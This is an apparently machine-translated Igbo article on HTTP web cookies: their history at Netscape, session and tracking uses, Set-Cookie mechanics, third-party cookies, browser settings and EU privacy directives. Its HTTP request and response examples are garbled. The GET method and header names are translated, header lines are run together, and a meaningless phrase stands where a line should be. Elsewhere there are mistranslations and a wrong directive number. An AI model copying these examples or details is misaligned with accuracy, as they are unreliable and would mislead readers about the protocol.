in ,

Kuki ịntanetị: gịnị ka ọ bụ? Nkọwa, Mmalite, Ụdị na Nzuzo

Kedu ọrụ kuki, kedu ihe ọ bụ na ụdị kuki? 🍪

Kuki ịntanetị: gịnị ka ọ bụ? Nkọwa, Mmalite, Ụdị na Nzuzo
Kuki ịntanetị: gịnị ka ọ bụ? Nkọwa, Mmalite, Ụdị na Nzuzo

Un kuki ma ọ bụ kuki weebụ (ma ọ bụ kuki, ndebiri dị ka àmà na Quebec) kọwapụtara site na protocol nkwukọrịta HTTP dị ka usoro ozi nke sava HTTP zigara onye ahịa HTTP, nke nke ikpeazụ na-alọghachi oge ọ bụla a jụrụ otu ihe nkesa HTTP n'okpuru ọnọdụ ụfọdụ.

Kuki ahụ bụ ihe nhata a obere faịlụ ederede echekwara na ọdụ nke onye ọrụ ịntanetị. Dị ihe karịrị afọ 20, ha na-ekwe ka ndị mmepe webụsaịtị chekwaa data onye ọrụ iji mee ka igodo ha dị mfe ma kwe ka ụfọdụ ọrụ rụọ ọrụ. Kuki na-enwekarị arụmụka ma ọ bụ karịa n'ihi na ha nwere ozi nkeonwe nke ndị ọzọ nwere ike irigbu.

A na-eziga ya dị ka nkụnye HTTP site na sava weebụ na ihe nchọgharị weebụ nke na-eweghachi ya na-agbanweghị oge ọ bụla ọ nwetara ihe nkesa ahụ. Enwere ike iji kuki ihe nyocha, otu nnọkọ (nkwado steeti), na maka chekwaa ozi gbasara onye ọrụ, dịka mmasị saịtị ma ọ bụ ọdịnaya nke ụgbọ ịzụ ahịa eletrọnịkị. Okwu kuki sitere na kuki anwansi, echiche a ma ama na UNIX computing, nke kpaliri echiche na aha kuki nchọgharị. Nhọrọ ole na ole maka kuki dị, nke ọ bụla nwere ojiji nke ya, uru na ọghọm ya.

N'ịbụ faịlụ ederede dị mfe, kuki anaghị arụ ọrụ. Ha abụghị ọbụghị spyware ma ọ bụ nje, ọ bụ ezie na ọtụtụ sọftụwia mgbochi nje na-achọpụta kuki sitere na saịtị ụfọdụ n'ihi na ha na-ekwe ka ndị ọrụ na-enyocha mgbe ha gara ọtụtụ saịtị. 

Ọtụtụ ihe nchọgharị ọgbara ọhụrụ na-enye ndị ọrụ ohere kpebie ma ị ga-anabata ma ọ bụ jụ kuki. Ndị ọrụ nwekwara ike họrọ ogologo oge echekwara kuki. Agbanyeghị, ịjụ kuki zuru oke na-eme ka saịtị ụfọdụ ghara iji ya. Dịka ọmụmaatụ, chekwaa ụgbọ ala ịzụ ahịa ma ọ bụ saịtị chọrọ nbanye site na iji nzere (aha njirimara na paswọọdụ).

Ọdịnaya

Historique

Okwu ahụ kuki na-enweta site na okwu Bekee kuki anwansi, nke bụ ngwungwu data nke mmemme na-enweta ma weghachite na-agbanweghi agbanwe. Ejila kuki na IT mgbe Lou Montulli nwere echiche iji ha na nkwukọrịta webụ na June 1994. N'oge ahụ, Netscape Communications were ya n'ọrụ, bụ nke mepụtara ngwa e-commerce maka onye ahịa. Kuki nyere azịza nye nsogbu nke ntụkwasị obi nke mmejuputa ụgbọ ịzụ ahịa mebere ụlọ ahịa.

John Giannandrea na Lou Montulli dere nkọwapụta kuki mbụ Netscape n'otu afọ ahụ. Ụdị 0.9 beta nke Mosaic Netscape, ewepụtara na Ọktoba 13, 1994, agbakwunyere teknụzụ kuki (hụ post). Ihe mbụ (na-abụghị nnwale) nke kuki bụ iji chọpụta ma ndị ọbịa na webụsaịtị Netscape gara na saịtị ahụ na mbụ. Montulli tinyere akwụkwọ ikike maka teknụzụ kuki na 1995, wee nye patent US 5774670. enyere na 1998.

Mgbe emechara ya na Netscape 0.9 beta na 1994, etinyere kuki na Internet Explorer 2, ewepụtara na Ọktoba 1995.

Ọhaneze amabeghị mmalite nke kuki. Karịsịa, a nabatara kuki na ndabara na ntọala ihe nchọgharị, a gwaghị ndị ọrụ maka ọnụnọ ha. Ụfọdụ ndị mmadụ maara banyere ịdị adị nke kuki gburugburu nkeji mbụ nke 1995, ma ọha na eze nanị weere na ha adị mgbe Financial Times bipụtara otu isiokwu na February 12, 1996. N'otu afọ ahụ, kuki natara a otutu mgbasa ozi anya. n'ihi intrusion nzuzo enwere ike. A tụlere isiokwu kuki na nyocha abụọ nke American Federal Trade Commission na 1996 na 1997.

Mmepe nke nkọwa kuki gọọmentị amalitelarị. Mkparịta ụka mbụ nke nkọwapụta gọọmentị mere na Eprel 1995 na ndepụta nzipu ozi www-talk. E hiwere otu ọrụ IETF pụrụ iche. Atụmatụ abụọ ọzọ maka iwebata steeti na azụmahịa HTTP bụ Brian Behlendorf na David Kristol tụpụtara n'otu n'otu, mana otu ahụ, nke Kristol n'onwe ya duziri, kpebiri iji nkọwapụta Netscape dị ka mmalite. Na February 1996, ndị otu na-arụ ọrụ kpebiri na kuki ndị ọzọ bụ nnukwu ihe iyi egwu na nzuzo. E mechara bipụta nkọwapụta ndị otu ahụ wepụtara dị ka RFC 2109.

Site na njedebe nke 2014, anyị na-ahụ ọkọlọtọ banyere kuki n'ọtụtụ saịtị. Enwere opekata mpe otu ndọtị ihe nchọgharị na-enye ohere egosighi ọkọlọtọ.

Ụdị kuki na ojiji

Nlekọta oge

Enwere ike iji kuki jikwaa data onye ọrụ n'oge ịnyagharị, mana gafee ọtụtụ nleta. E webatara kuki iji nye ụzọ isi mejuputa ụgbọ ala ịzụ ahịa eletrọnịkị, ngwaọrụ mebere nke onye ọrụ nwere ike ịchịkọba ihe ọ chọrọ ịzụ mgbe ọ na-achọgharị na saịtị ahụ.

Ụbọchị ndị a, ngwa dị ka ụgbọ ala ịzụ ahịa kama na-echekwa ndepụta nke ihe na nchekwa data na ihe nkesa, nke ka mma; karịa ịchekwa ha na kuki n'onwe ya. Sava webụ na-eziga kuki nwere NJ nnọkọ pụrụ iche. Ihe nchọgharị weebụ wee weghachi NJ nnọkọ a na arịrịọ ọ bụla na-esote yana echekwara ihe ndị dị na nkata ma jikọta ya na NJ nnọkọ pụrụ iche a.

Ojiji kuki ugboro ugboro bara uru maka iji nzere wee banye saịtị. Na nkenke, sava weebụ na-ebu ụzọ zipu kuki nwere NJ nnọkọ pụrụ iche. Mgbe ahụ ndị ọrụ na-enye nzere ha (na-abụkarị aha njirimara na paswọọdụ). Ngwa webụ wee gosipụta nnọkọ ahụ ma nye onye ọrụ ohere ịnweta ọrụ ahụ.

keonwe

Enwere ike iji kuki icheta ozi gbasara onye ọrụ saịtị, iji gosi ya ọdịnaya kwesịrị ekwesị n'ọdịnihu. Dịka ọmụmaatụ, sava weebụ nwere ike izipu kuki nwere aha njirimara ikpeazụ eji abanye na webụsaịtị ahụ, ka aha njirimara wee nwee ike ibu ụzọ bipụta na nleta n'ọdịnihu.

Ọtụtụ webụsaịtị na-eji kuki maka ahaziri onwe dabere na mmasị onye ọrụ. Ndị ọrụ na-ahọrọ mmasị ha n'ụdị wee nyefee ihe ndị a na sava ahụ. Ihe nkesa na-etinye koodu mmasị na kuki wee zighachi ya na ihe nchọgharị ahụ. Na-esote, oge ọ bụla onye ọrụ na-abanye na ibe saịtị a, ihe nchọgharị ahụ na-eweghachi kuki ahụ na ya mere ndepụta mmasị; ihe nkesa ahụ nwere ike hazie ibe ya dịka mmasị onye ọrụ si dị. Dịka ọmụmaatụ, weebụsaịtị Wikipedia na-enye ndị ọrụ ya ohere ịhọrọ akpụkpọ saịtị ha masịrị. Ihe nchọta Google na-enye ndị ọrụ ya (ọbụlagodi ma ọ bụrụ na edeghị aha ha) ịhọrọ ọnụọgụ rịzọlt ha chọrọ ịhụ na ibe nsonaazụ ọ bụla.

Ndepụta

A na-eji kuki nsochi wee soro omume nchọgharị nke ndị ọrụ ịntanetị. Enwere ike ime nke a n'otu akụkụ site na iji adreesị IP nke kọmputa na-arịọ arịrịọ maka ibe ma ọ bụ site na iji isi okwu HTTP 'referrer' nke onye ahịa na-eziga na arịrịọ ọ bụla, mana kuki na-enye ohere maka nkenke. Enwere ike ime nke a dịka ọmụmaatụ:

  1. Ọ bụrụ na onye ọrụ kpọrọ ibe na saịtị, ma arịrịọ ahụ enweghị kuki, ihe nkesa na-eche na nke a bụ ibe mbụ onye ọrụ gara. Ihe nkesa ahụ wee mepụta eriri enweghị usoro wee ziga ya na ihe nchọgharị yana ibe achọrọ.
  2. Site na oge a, ihe nchọgharị ga-eziga kuki ahụ na-akpaghị aka oge ọ bụla akpọrọ ibe saịtị ọhụrụ. Ihe nkesa ahụ ga-eziga ibe ahụ dị ka ọ na-emebu, mana ọ ga-abanyekwa URL nke ibe a na-akpọ, ụbọchị, oge arịrịọ na kuki na faịlụ ndekọ.

Site na ilele faịlụ ndekọ, ọ ga-ekwe omume ịhụ ibe peeji nke onye ọrụ gara na n'usoro. Dịka ọmụmaatụ, ọ bụrụ na faịlụ ahụ nwere arịrịọ ole na ole ejiri kuki id=abc mee, nke a nwere ike igosi na arịrịọ ndị a niile sitere n'aka otu onye ọrụ. URL a rịọrọ, ụbọchị na oge metụtara arịrịọ ndị a na-enye ohere ka esoro ihe nchọgharị onye ọrụ.

Kuki ndị ọzọ na mgbama webụ, akọwara n'okpuru, na-emekwa ka nsuso n'ofe saịtị dị iche iche. A na-ejikarị nsochi otu saịtị maka ebumnuche ndekọ aha. N'ụzọ dị iche, nsuso n'ofe saịtị dị iche iche site na iji kuki ndị ọzọ bụ ndị ụlọ ọrụ mgbasa ozi na-ejikarị mepụta profaịlụ onye ọrụ na-amaghị aha (nke a na-eji achọpụta mgbasa ozi ndị a ga-egosi onye ọrụ yana iziga ya ozi-e dabara na mgbasa ozi ndị a - SPAM. ).

Kuki nsochi bụ ihe egwu nke mwakpo nke nzuzo onye ọrụ mana enwere ike ihichapụ ya ngwa ngwa. Ọtụtụ ihe nchọgharị ọgbara ọhụrụ gụnyere nhọrọ ihichapụ kuki na-adịgide adịgide mgbe ọ na-emechi ngwa ahụ.

Kuki ndị ọzọ

Foto na ihe ndị ọzọ dị na ibe weebụ nwere ike ịdị na sava dị iche na nke na-anabata ibe ahụ. Iji gosi ibe ahụ, ihe nchọgharị ahụ na-ebudata ihe ndị a niile. Ọtụtụ weebụsaịtị nwere ozi sitere na isi mmalite dị iche iche. Dịka ọmụmaatụ, ọ bụrụ na ị pịnye www.example.com n'ime ihe nchọgharị gị, a ga-enwekarị ihe ma ọ bụ mgbasa ozi n'akụkụ ibe nke sitere na ebe dị iche iche, ya bụ site na ngalaba dị iche karịa www. .example.com. Kuki ndị otu "mbụ" bụ kuki nke ahaziri ngalaba nke edepụtara n'ime ebe adresị ihe nchọgharị ahụ. A na-edozi kuki ndị ọzọ site na otu n'ime ihe ibe ahụ sitere na ngalaba dị iche.

Site na ndabara, ihe nchọgharị dị ka Mozilla Firefox, Microsoft Internet Explorer na Opera na-anabata kuki ndị ọzọ, mana ndị ọrụ nwere ike ịgbanwe ntọala na nhọrọ nchọgharị iji gbochie ha. Enweghị ihe ize ndụ nchekwa dị na kuki ndị ọzọ na-eme ka ọrụ weebụ rụọ ọrụ, agbanyeghị, a na-ejikwa ha soro ndị ọrụ. site na saịtị gaa na saịtị.

Ngwa dị ka Ghostery dị maka ihe nchọgharị niile gụnyere Google Chrome nwere ike igbochi mgbanwe n'etiti ndị ọzọ.

Mmejuputa

Mmekọrịta enwere ike n'etiti ihe nchọgharị weebụ na sava na-anabata ibe weebụ. Ihe nkesa na-eziga kuki na ihe nchọgharị ahụ na ihe nchọgharị ahụ na-eziteghachi ya mgbe ọ kpọrọ ibe ọzọ.
Mmekọrịta enwere ike n'etiti ihe nchọgharị weebụ na sava na-anabata ibe weebụ. Ihe nkesa na-eziga kuki na ihe nchọgharị ahụ na ihe nchọgharị ahụ na-eziteghachi ya mgbe ọ kpọrọ ibe ọzọ.

Kuki bụ obere data sava weebụ zigara na ihe nchọgharị ahụ. Ihe nchọgharị ahụ na-eweghachi ha na-agbanweghị na sava ahụ, na-ewebata steeti (ncheta ihe omume gara aga) n'ime azụmahịa HTTP na-enweghị steeti. Enweghị kuki, iweghachite ibe weebụ ọ bụla ma ọ bụ akụkụ nke ibe weebụ bụ ihe omume dịpụrụ adịpụ, na-adabereghị na arịrịọ ndị ọzọ a rịọrọ n'otu saịtị ahụ. Na mgbakwunye na enwere ike ịtọlite ​​​​sava webụ, enwere ike ịtọ kuki site na ederede asụsụ dị ka Javascript, ma ọ bụrụ na ihe nchọgharị kwadoro na ikike.

Nkọwa kuki ndị gọọmentị na-atụ aro na ihe nchọgharị kwesịrị inwe ike ịchekwa ma zigharịa ọnụọgụ kuki kacha nta. Kpọmkwem, ihe nchọgharị kwesịrị inwe ike ịchekwa opekata mpe kuki 300 nke kilobytes anọ ọ bụla, yana opekata mpe kuki 20 maka otu sava ma ọ bụ ngalaba.

Dị ka akụkụ 3.1 nke RFC 2965, Aha kuki anaghị enwe mmetụta.

Kuki nwere ike ịkọwa ụbọchị ọ ga-agwụ, ebe a ga-ehichapụ kuki n'ụbọchị a. Ọ bụrụ na kuki ahụ akọwapụtaghị ụbọchị njedebe, kuki a ga-ehichapụ ozugbo onye ọrụ hapụrụ ihe nchọgharị ya. Ya mere, ịkọwapụta ụbọchị njedebe bụ ụzọ isi mee ka kuki ahụ dị ndụ site na ọtụtụ oge. N'ihi nke a, a na-ekwu kuki nwere ụbọchị ngafe na-anọgidesi ike. Ngwa ọmụmaatụ: saịtị na-ere ahịa nwere ike iji kuki na-adịgide adịgide iji dekọọ ihe ndị ọrụ debere n'ụgbọ ịzụ ahịa ha (n'ezie, kuki ahụ nwere ike na-ezo aka na ntinye echekwara na nchekwa data dị na saịtị ire ere, ọ bụghị na kọmputa gị) . Site na nke a, ọ bụrụ na ndị ọrụ hapụrụ ihe nchọgharị ha na-azụghị ihe wee laghachi na ya ma emechaa, ha ga-enwe ike ịchọta ihe ndị dị na ụgbọ ala ọzọ. Ọ bụrụ na kuki ndị a enyeghị ụbọchị njedebe, ha ga-ekubi ume mgbe emechiri ihe nchọgharị ahụ, ozi dị na nkata ahụ ga-efunahụ ya.

Enwere ike inwe oke kuki na ngalaba, ngalaba ngalaba ma ọ bụ ụzọ dị na sava mepụtara ha.

A na-eme nnyefe nke ibe weebụ site na iji HyperText Transfer Protocol (HTTP). Site na ileghara kuki anya, ihe nchọgharị na-akpọ ibe sitere na sava weebụ site na izipu ha obere ederede akpọrọ Arịrịọ HTTP. Dịka ọmụmaatụ, iji nweta ibe www.example.org/index.html, ihe nchọgharị jikọọ na ihe nkesa www.example.org wee zipu arịrịọ dị ka nke a:

Nweta /index.html HTTP/1.1 Onye ọbịa: www.example.org
akwọ ụgbọ mmiriserveur

Ihe nkesa ahụ na-aza site na izipu ibe a rịọrọ, buru ụzọ dee ederede yiri ya, a na-akpọ ya dum Nzaghachi HTTP. Ihe ngwugwu a nwere ike ịnwe ahịrị na-agwa ihe nchọgharị ahụ ka ọ chekwaa kuki:

HTTP/1.1 200 OKContent-ụdị: ederede/htmlSet-kuki: aha = uru
(HTML ibe)
akwọ ụgbọ mmiriserveur

Ihe nkesa na-eziga naanị ahịrị Set-Cookie, ma ọ bụrụ na ihe nkesa chọrọ ka ihe nchọgharị ahụ chekwaa kuki. Set-Cookie bụ arịrịọ maka ihe nchọgharị ahụ ka ọ chekwaa aha = uru eriri wee weghachi ya na arịrịọ niile n'ọdịnihu na sava ahụ. Ọ bụrụ na ihe nchọgharị ahụ na-akwado kuki na agbanyere kuki na nhọrọ ihe nchọgharị ahụ, kuki a ga-etinye na arịrịọ niile na-esote nke a na-eme n'otu ihe nkesa ahụ. Dịka ọmụmaatụ, ihe nchọgharị ahụ na-akpọ ibe www.example.org/news.html site na izipu arịrịọ ndị a na ihe nkesa www.example.org:

Nweta /news.html HTTP/1.1Ọbịa: www.example.orgCookie: aha = uruAnabata: */*
akwọ ụgbọ mmiriserveur

Nke a bụ arịrịọ maka ibe ọzọ site n'otu ihe nkesa ahụ, ma dị iche na nke mbụ dị n'elu n'ihi na o nwere eriri nke ihe nkesa zigara na ihe nchọgharị ahụ na mbụ. Ekele maka nke a pụtara, ihe nkesa ahụ maara na ejikọrọ arịrịọ a na nke gara aga. Ihe nkesa na-aza site na izipu ibe a na-akpọ, yana kwa site na ịgbakwunye kuki ndị ọzọ na ya.

Ihe nkesa nwere ike gbanwee uru kuki ahụ site na izipu ahịrị ọhụrụ Set-Cookie: name= new_value na nzaghachi na ibe a kpọrọ. Ihe nchọgharị ahụ wee jiri nke ọhụrụ dochie uru ochie.

A na-emepụta ahịrị Set-Cookie site na mmemme CGI ma ọ bụ asụsụ edemede ọzọ, ọ bụghị site na sava HTTP. Ihe nkesa HTTP (atụ: Apache) ga-ebufe naanị nsonaazụ mmemme ahụ (akwụkwọ nke nkụnye eji isi mee nke nwere kuki bu ụzọ) gaa na ihe nchọgharị ahụ.

Enwere ike ịtọ kuki site na Javascript ma ọ bụ asụsụ ndị ọzọ yiri ya na-agba ọsọ na ihe nchọgharị ahụ, ya bụ n'akụkụ ndị ahịa karịa akụkụ nkesa. Na Javascript, a na-eji ihe kuki ahụ maka nke a. Dịka ọmụmaatụ, akwụkwọ nkwupụta.cookie = "okpomọkụ=20" na-emepụta kuki aha ya bụ "okpomọkụ" yana uru nke 20.

Ọmụmatụ nke nzaghachi HTTP sitere na google.com, nke na-edobe kuki nwere njirimara.
Ọmụmatụ nke nzaghachi HTTP sitere na google.com, nke na-edobe kuki nwere njirimara.

Na mgbakwunye na ụzọ aha/uru uru, kuki nwekwara ike ịnwe ụbọchị njedebe, ụzọ, ngalaba aha na ụdị njikọ echere, ya bụ nkịtị ma ọ bụ ezoro ezo. RFC 2965 kọwakwara na kuki ga-enwerịrị nọmba ụdịdị amanyere iwu, mana nke a na-ahapụkarị ya. Akụkụ data ndị a na-eso aha = new_value ụzọ ma na-ekewa ya site na ọkara. Dịka ọmụmaatụ, ihe nkesa nwere ike ịmepụta kuki site na izipu ahịrị Set-Cookie: name=new_value; expires=ụbọchị; uzo =/; ngalaba=.example.org.

Kuki kuki kubie ume ma ihe nchọgharị agaghị ezipụ ya na ihe nkesa n'ọnọdụ ndị a:

  • Mgbe emechiri ihe nchọgharị ahụ, ọ bụrụ na kuki anaghị adịgide.
  • Mgbe ụbọchị njedebe kuki gafere.
  • Mgbe ụbọchị ngafe kuki gbanwere (site na ihe nkesa ma ọ bụ edemede) ka ọ bụrụ ụbọchị n'oge gara aga.
  • Mgbe ihe nchọgharị ahụ na-ehichapụ kuki site na arịrịọ onye ọrụ.

Ọnọdụ nke atọ na-enye ohere ka sava ma ọ bụ script hichapụ kuki n'ụzọ doro anya. Rịba ama na ọ ga-ekwe omume na ihe nchọgharị weebụ Google Chrome ịmara ụbọchị njedebe nke otu kuki site na ịnweta ntọala ọdịnaya. Kuki echekwara na kọmpụta nwere ike ịnọrọ ebe ahụ ruo ọtụtụ iri afọ ma ọ bụrụ na emeghị usoro iji kpochapụ ya.

Echiche stereotypes

Kemgbe iwebata ha na ịntanetị, ọtụtụ echiche gbasara kuki agbasawo na ịntanetị na mgbasa ozi. N'afọ 1998, CIAC, otu United States Department of Energy Monitoring Team Monitor, kpebiri na adịghị ike nchekwa kuki "adịghị adị" ma kọwaa na "ozi gbasara mmalite nleta gị na nkọwa nke ibe weebụ ị gara gara. adịlarị na faịlụ ndekọ nke sava weebụ”. N'afọ 2005, Jupiter Research bipụtara nsonaazụ nke otu nnyocha, nke ọnụ ọgụgụ dị ukwuu nke ndị zaghachirinụ tụlere okwu ndị a:

  • Kuki dị ka virus, ha na-ebute draịva ndị ọrụ.
  • Kuki na-emepụta gbapụta.
  • A na-eji kuki ezipụ spam.
  • A na-eji kuki naanị maka mgbasa ozi.

Kuki enweghị ike ihichapụ ma ọ bụ gụọ ozi na kọmputa onye ọrụ. Agbanyeghị, kuki na-eme ka o kwe omume ịchọpụta ibe weebụ nke onye ọrụ gara na saịtị ma ọ bụ saịtị enyere. Enwere ike ịnakọta ozi a na profaịlụ onye ọrụ enwere ike iji ma ọ bụ regharịa ya na ndị ọzọ, nke nwere ike ibute nnukwu nsogbu nzuzo. Profaịlụ ụfọdụ amaghị aha, n'echiche na ha enweghị ozi nkeonwe, mana ọbụlagodi profaịlụ dị otú ahụ nwere ike ịza ajụjụ.

Dị ka otu ọmụmụ si kwuo, ọnụ ọgụgụ buru ibu nke ndị na-eji Intanet eme ihe amaghị ka esi ehichapụ kuki. Otu n'ime ihe kpatara ndị mmadụ anaghị atụkwasị kuki obi bụ na saịtị ụfọdụ ejirila akụkụ njirimara kuki mebie ma kesaa ozi a na isi mmalite ndị ọzọ. Ọnụ ọgụgụ buru ibu nke mgbasa ozi ezubere iche na ozi-e na-achọghị, nke a na-ewere na spam na-abịa site na ozi enwetara na kuki nsochi.

Ntọala ihe nchọgharị

Ọtụtụ ihe nchọgharị na-akwado kuki ma kwe ka onye ọrụ gbanyụọ ha. Nhọrọ kachasị ewu ewu bụ:

  • Kwado ma ọ bụ gbanyụọ kuki kpamkpam, ka a na-anabata ma ọ bụ gbochie ha mgbe niile.
  • Hapụ onye ọrụ ka ọ hụ kuki nọ n'ọrụ na ibe enyere, site na itinye javascript: alert(document.cookie) n'ime ogwe adreesị ihe nchọgharị ahụ. Ụfọdụ ihe nchọgharị na-ejikọta njikwa kuki maka onye ọrụ nwere ike ịlele ma họrọ ihichapụ kuki nke ihe nchọgharị ahụ echekwara ugbu a.

Ọtụtụ ihe nchọgharị na-enyekwa ohere ka ihichapụ data nkeonwe nke gụnyere kuki. Modul agbakwunyere iji jikwaa ikike kuki dịkwa.

Nzuzo na kuki ndị ọzọ

N'ihe atụ a efu, ụlọ ọrụ mgbasa ozi etinyela ọkọlọtọ na weebụsaịtị abụọ. Site n'ịkwado ọkọlọtọ na sava ya na iji kuki ndị ọzọ, ụlọ ọrụ mgbasa ozi na-enwe ike soro igodo onye ọrụ site na saịtị abụọ a.

Kuki nwere mmetụta dị mkpa maka nzuzo na amaghị aha nke ndị ọrụ weebụ. Ọ bụ ezie na a na-ezigara kuki naanị na sava nke debere ya ma ọ bụ na sava nke nwere otu ngalaba ịntanetị, ibe weebụ nwere ike ịnwe onyonyo ma ọ bụ ihe ndị ọzọ echekwara na sava nke ngalaba ndị ọzọ. A na-akpọ kuki ndị edobere n'oge mgbake nke ihe ndị a dị na mpụga kuki ndị ọzọ. Nke a gụnyere kuki sitere na windo mmapụta achọghị.

Ụlọ ọrụ mgbasa ozi na-eji kuki ndị ọzọ soro ndị ọrụ gafee saịtị dị iche iche ha gara. Karịsịa, ụlọ ọrụ mgbasa ozi nwere ike soro onye ọrụ gafee ibe niile ebe o debere onyonyo mgbasa ozi ma ọ bụ pikselụ nsochi. Ihe ọmụma nke ibe ndị onye ọrụ gara na-enye ohere ka ụlọ ọrụ mgbasa ozi lekwasịrị mmasị mgbasa ozi nke onye ọrụ.

Ụfọdụ na-ewere ikike ịmepụta profaịlụ onye ọrụ dị ka mbuso agha nzuzo, ọkachasị mgbe a na-eme nsuso n'ofe ngalaba dị iche iche site na iji kuki ndị ọzọ. N'ihi nke a, ụfọdụ mba nwere iwu kuki.

Gọọmenti United States mebere iwu siri ike na ntinye kuki na 2000, mgbe ekpughere ya na ụlọ ọrụ amụma ọgwụ na White House na-eji kuki soro kọmpụta nke ndị ọrụ na-elele mgbasa ozi ọgwụ n'ịntanetị. Na 2002, onye na-akwado nzuzo Daniel Brandt chọpụtara na CIA hapụrụ kuki na-adịgide adịgide na kọmputa ndị gara na webụsaịtị ya. Ozugbo a mara ọkwa maka mmebi a, CIA kwupụtara na emeghị ka kuki ndị a kpachapụrụ anya wee kwụsị ịtọ ha. Na Disemba 25, 2005, Brandt chọpụtara na National Security Agency (NSA) ahapụla kuki abụọ na-adịgide adịgide na kọmpụta ndị ọbịa n'ihi mmelite ngwanrọ. Mgbe amarachara ya, ndị NSA kwụsịrị kuki ozugbo.

Na United Kingdom, ndị Iwu kuki ", nke malitere na Mee 25, 2012, na-amanye saịtị ndị ahụ ikwupụta ebumnobi ha, si otú a na-enye ndị ọrụ ohere ịhọrọ ma ha chọrọ ịhapụ akara ma ọ bụ na ha agaghị agafe na Ịntanetị. Enwere ike ichebe ha pụọ ​​na ebumnuche mgbasa ozi. Agbanyeghị, dabere na The Guardian, nkwenye nke ndị na-ahụ maka ịntanetị apụtachaghị nke ọma; Emeela mgbanwe na usoro nkwenye onye ọrụ, na-eme ya si otú a na-egosi.

Ntuziaka 2002/58 maka nzuzo

Ntuziaka 202/58 nzuzo na nkwukọrịta eletrọnịkị, nwere iwu gbasara ojiji kuki. Karịsịa, edemede 5, paragraf nke 3 nke ntuziaka a chọrọ ka nchekwa data (dị ka kuki) na kọmputa onye ọrụ nwere ike ime naanị ma ọ bụrụ:

  • a na-agwa onye ọrụ maka otu esi eji data ahụ eme ihe;
  • enyere onye ọrụ nhọrọ nke ịjụ ọrụ nchekwa a. Otú ọ dị, isiokwu a na-ekwukwa na nchekwa nke data maka ọrụ nkà na ụzụ na-ahapụ iwu a.

N'ihi na etinyere ya site na Ọktoba 2003, a na-etinye ntụziaka ahụ n'ụzọ na-ezughị okè dị ka akụkọ nke December 2004 si kwuo, nke gosikwara na ụfọdụ mba ndị otu (Slovakia, Latvia, Greece, Belgium na Luxembourg) emebeghị ka ọ gbanwee ya. ntuziaka n'ime iwu ụlọ.

Dị ka echiche nke G29 na 2010, ntuziaka a, nke karịsịa na-akwado iji kuki maka mgbasa ozi omume, na nkwenye doro anya nke onye ọrụ ịntanetị na-anọgide na-adịghị mma. N'ezie, ọtụtụ saịtị na-eme nke a n'ụzọ na-adịghị agbaso ntuziaka ahụ, site na ịmachi onwe ha na "ọkọlọtọ" dị mfe na-agwa maka iji "kuki" na-enyeghị ozi na ojiji, na-enweghị ọdịiche dị n'etiti kuki "teknụzụ". kuki "nsuso", ma ọ bụ inye ezigbo nhọrọ nye onye ọrụ na-achọ idobe kuki teknụzụ (dị ka kuki njikwa ụgbọ ala ịzụ ahịa) ma jụ kuki "nsuso". N'ezie, ọtụtụ saịtị anaghị arụ ọrụ nke ọma ma ọ bụrụ na a jụrụ kuki, nke anaghị agbaso ntuziaka 2002/58 ma ọ bụ ntụziaka 95/46 (Nchedo nke data nkeonwe).

Ntuziaka 2009/136/CE

Emelitela ihe a site na ntuziaka 2009/136/EC dị na Nọvemba 25, 2009 nke na-ekwu na "nchekwa ozi, ma ọ bụ ịnweta ozi echekwara, na ngwa njedebe nke onye debanyere aha ma ọ bụ onye ọrụ ka anabatara naanị ma ọ bụrụ na ọ bụrụ onye debanyere aha ma ọ bụ onye ọrụ enyela nkwenye ya, mgbe ọ nwetasịrị, n'ikwekọ na ntuziaka 95/46/EC, ozi doro anya na zuru oke, n'etiti ndị ọzọ na ebumnuche nke nhazi ahụ. Ya mere ntuziaka ọhụrụ a na-ewusi ọrụ ndị a ike tupu etinye kuki na kọmputa onye ọrụ ịntanetị.

N'ime ntụle mbụ nke ntuziaka ahụ, ndị omebe iwu Europe na-akọwapụta agbanyeghị: "Ebe ọ bụla enwere ike na teknụzụ ma dị irè, dịka usoro iwu 95/46/EC dị mkpa si dị, enwere ike igosipụta nkwenye nke onye ọrụ gbasara nhazi ahụ site na iji ntọala kwesịrị ekwesị nke ihe nchọgharị ma ọ bụ ngwa ọzọ". Mana n'ezie, ọ nweghị ihe nchọgharị ruo taa na-eme ka o kwe omume ikewapụ kuki teknuzu dị mkpa na nke nhọrọ nke kwesịrị ịhapụ ya na nhọrọ onye ọrụ.

Ndị omeiwu Belgium tụgharịrị iwu ọhụrụ a na Julaị 2012. Nnyocha e mere n'afọ 2014 gosiri na ọbụna ndị MP na-agbasi mbọ ike itinye n'ọrụ. ihe mgbochi nke ntuziaka.

P3P

Nkọwa P3P gụnyere ikike maka ihe nkesa ikwupụta amụma nzuzo, nke na-akọwa ụdị ozi ọ na-anakọta yana maka ebumnuche. Atumatu ndị a gụnyere (ma ọnweghị oke na) ojiji ozi anakọtara site na iji kuki. Dịka nkọwapụta nke P3P siri dị, ihe nchọgharị nwere ike ịnakwere ma ọ bụ jụ kuki site n'iji atumatu nzuzo atụnyere mmasị onye ọrụ ma ọ bụ site n'ịjụ onye ọrụ, na-ewepụta nkwupụta nzuzo nzuzo nke sava ahụ kwupụtara.

Ọtụtụ ihe nchọgharị, gụnyere Apple Safari na Microsoft Internet Explorer ụdị 6 na 7, na-akwado P3P nke na-enye ihe nchọgharị ohere ikpebi ma ọ ga-anabata nchekwa kuki ndị ọzọ. Ihe nchọgharị Opera na-enye ndị ọrụ ohere ịjụ kuki ndị ọzọ na ịmepụta profaịlụ nchekwa zuru ụwa ọnụ maka ngalaba ịntanetị. Mozilla Firefox ụdị 2 kwụsịrị nkwado P3P mana weghachiri ya na ụdị 3.

Ọtụtụ ihe nchọgharị nwere ike igbochi kuki ndị ọzọ ka iwelie nzuzo wee belata nsochi mgbasa ozi, na-emetụtaghị ahụmịhe webụ onye ọrụ. Ọtụtụ ụlọ ọrụ mgbasa ozi na-enye nhọrọ họrọ ọpụpụ na mgbasa ozi ezubere iche, site na ịtọlite ​​​​kuki jeneriki na ihe nchọgharị ahụ nke na-eme ka ebumnuche a kwụsị ọrụ, mana azịza dị otú ahụ adịghị arụ ọrụ nke ọma, mgbe a na-akwanyere ya ùgwù, n'ihi na kuki a na-ehichapụ ngwa ngwa onye ọrụ ehichapụ kuki ndị a nke na-akagbu nhọrọ ahụ. pụọ mkpebi.

Ọdịmma nke kuki

